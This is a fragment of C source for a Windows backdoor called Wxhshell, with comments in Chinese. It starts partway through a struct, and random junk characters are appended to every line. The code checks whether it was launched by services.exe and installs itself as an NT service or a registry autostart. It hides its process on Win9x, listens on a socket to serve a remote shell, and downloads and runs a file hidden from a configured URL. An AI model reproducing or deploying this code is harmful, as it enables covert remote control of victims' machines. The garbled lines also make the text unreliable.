DWORD PebBaseAddress; Ea4
* o
DWORD AffinityMask; )nnCCRS6
DWORD BasePriority; -]QguZE
ULONG UniqueProcessId; J" bD\%
ULONG InheritedFromUniqueProcessId; Y*\6o7
} PROCESS_BASIC_INFORMATION; }Z-I2
=]
[tm[,VfA^
PROCNTQSIP NtQueryInformationProcess; b8HE."*t
i>"dBJh]b
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VV\Xb31J
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4OEKx|:5n
+@>:%yX
HANDLE hProcess; \[k%)_
PROCESS_BASIC_INFORMATION pbi; /=trj5h
&>V/X{>$`K
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /p}{#DLB
if(NULL == hInst ) return 0; {,F/KL^u
H`?*
bG
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g 9|qbKQ:[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UnjNR[=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d|3o/@k
H%cp^G
if (!NtQueryInformationProcess) return 0; CfY7<o1>
hU)'OKe
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x?rbgsB5&
if(!hProcess) return 0; oc((Yo+B
[%t3[p<)O
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _^b@>C>O
`1$y( w]
CloseHandle(hProcess); iz$FcA]
0&Qsk!-B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [5!'ykZ
if(hProcess==NULL) return 0; IyT?-R
}/49T
HMODULE hMod; OFIMi^@
char procName[255]; &:q[-K@!
unsigned long cbNeeded; L!&$c&=xf
^aT;aP^l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >"O1`xdG
:;q>31:h
CloseHandle(hProcess); fMyE}z
/<6ywLD
if(strstr(procName,"services")) return 1; // 以服务启动 Ogd8!'\
3y/1!A3
return 0; // 注册表启动 erXy>H[;
} tnN'V
)F
+nSV;
// 主模块 2|$lk8 /,
int StartWxhshell(LPSTR lpCmdLine) r7RU"H:j8
{ z2.*#xTZn
SOCKET wsl; ~c!Rx'
BOOL val=TRUE; v;Swo("
int port=0; c1PViko,>
struct sockaddr_in door; 9^(HXH_f
>6XDX=JVI
if(wscfg.ws_autoins) Install(); lD9%xCo9(
T.J`S(oI
port=atoi(lpCmdLine); N4A&"1d&
[k!-;mi
if(port<=0) port=wscfg.ws_port; 7Nd*,DV_
1 pa*T!
WSADATA data; 4U}zJP(L
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g'KzdG`O0
BXNI(7xi
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {ms,q_Zr
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nt drXg
door.sin_family = AF_INET; p(~Y"
H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %)BwE
door.sin_port = htons(port); 45?*:)l:
x(rd$oZO
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U~oBNsU"
closesocket(wsl); o<Xc,mP
return 1; +ylxezc
} 8mk}nex
*^X#Eb
if(listen(wsl,2) == INVALID_SOCKET) { f#'8"ff*1
closesocket(wsl); \m(ymp<c`
return 1; \s.1R/TyD
} DLNa6
Wxhshell(wsl); i:V0fBR[>
WSACleanup(); j|&{e91,?
8$2l^
return 0; <sgZ3*,A
jK\V|5k
} <Gn8B^~$
M4zX*&w.T
// 以NT服务方式启动 u(8 _[/_B
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8FB\0LA!g
{ 7k'=F m6za
DWORD status = 0; bc
`UA
DWORD specificError = 0xfffffff; b ^uP^](J
`%FIgE^
serviceStatus.dwServiceType = SERVICE_WIN32; U(rr vNt:t
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @PT`CK}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; //#xK D
serviceStatus.dwWin32ExitCode = 0; Zx}NFcn
serviceStatus.dwServiceSpecificExitCode = 0; aSn0o_4bD
serviceStatus.dwCheckPoint = 0; \?bwm&6+r
serviceStatus.dwWaitHint = 0; 1 ;_{US5FR
Py|H?
, 6=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P3+)pOE-SI
if (hServiceStatusHandle==0) return; S1D9AcK
#g@
status = GetLastError(); _ff=B
if (status!=NO_ERROR) *Te4U5F
{ iifc;6 2
serviceStatus.dwCurrentState = SERVICE_STOPPED; JK@izI
serviceStatus.dwCheckPoint = 0; Y&?|k'7
serviceStatus.dwWaitHint = 0; d%}crM-KTL
serviceStatus.dwWin32ExitCode = status; xB?S#5G}
serviceStatus.dwServiceSpecificExitCode = specificError; z5x,fQw6O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qWRNHUd
return; ke3HK9P;
} =q_&*'
1_Dn?G^H
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ck ~V5
serviceStatus.dwCheckPoint = 0; uB5h9&57
serviceStatus.dwWaitHint = 0; '_q: vjX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o7_MMeQ4
} v YRt2({}Z
y)?W-5zL
// 处理NT服务事件,比如:启动、停止 l%sp[uqcg
VOID WINAPI NTServiceHandler(DWORD fdwControl) "|.+L
{ tz\+'6NpOb
switch(fdwControl) L Q I: ]d
{ c8k6(#\
case SERVICE_CONTROL_STOP: ;4-pupK~%
serviceStatus.dwWin32ExitCode = 0; `-72>F ;T
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4
|:Q1
serviceStatus.dwCheckPoint = 0; 9B!im\]O
serviceStatus.dwWaitHint = 0; 3bg4# c
{ s
T
:tFK\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^7ea6G"
} Q|j@#@O 1
return; <F#*:Re_y
case SERVICE_CONTROL_PAUSE: RE`J"&
serviceStatus.dwCurrentState = SERVICE_PAUSED; AiyvHt
break; Z,|1G6f@
case SERVICE_CONTROL_CONTINUE: (n":]8}
serviceStatus.dwCurrentState = SERVICE_RUNNING; b*'=W"%\
break; y (c|5CQ
case SERVICE_CONTROL_INTERROGATE: /XWPN(JC?
break; 9Sx<tj_4P{
}; p:[`%<j0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0p:ClM2O
} 66^1&D"
zbIwH6
// 标准应用程序主函数 wZ]BY;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RS||KA])J
{ BDRYip[Sa
F9u:8;\@`
// 获取操作系统版本 )5GdvqA
OsIsNt=GetOsVer(); YmO"EWb
GetModuleFileName(NULL,ExeFile,MAX_PATH); N#pl mPrZ
D_yY0rRM
// 从命令行安装 D<_,>{$gW
if(strpbrk(lpCmdLine,"iI")) Install(); c5B_WqjJ
DmXDg7y7s
// 下载执行文件 LRCS)UBY(.
if(wscfg.ws_downexe) { r7Q:l ?F2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z5*(W;;
WinExec(wscfg.ws_filenam,SW_HIDE); !ulLGmUn
} 0'V-
l# !@{ <
if(!OsIsNt) { ,rH)}C<Q+
// 如果时win9x,隐藏进程并且设置为注册表启动 +]S;U&vQ
HideProc(); w}U5dM`
StartWxhshell(lpCmdLine); 0'q(XB`i=
} XZep7d}
else Top#u
if(StartFromService()) !0. 5
// 以服务方式启动 '.h/Y/oz
StartServiceCtrlDispatcher(DispatchTable); G7/?hky 0.
else YzhN |!;!k
// 普通方式启动 /4"S}P>f
StartWxhshell(lpCmdLine); OO !S
w
D25gg
return 0; *(\;}JF-
}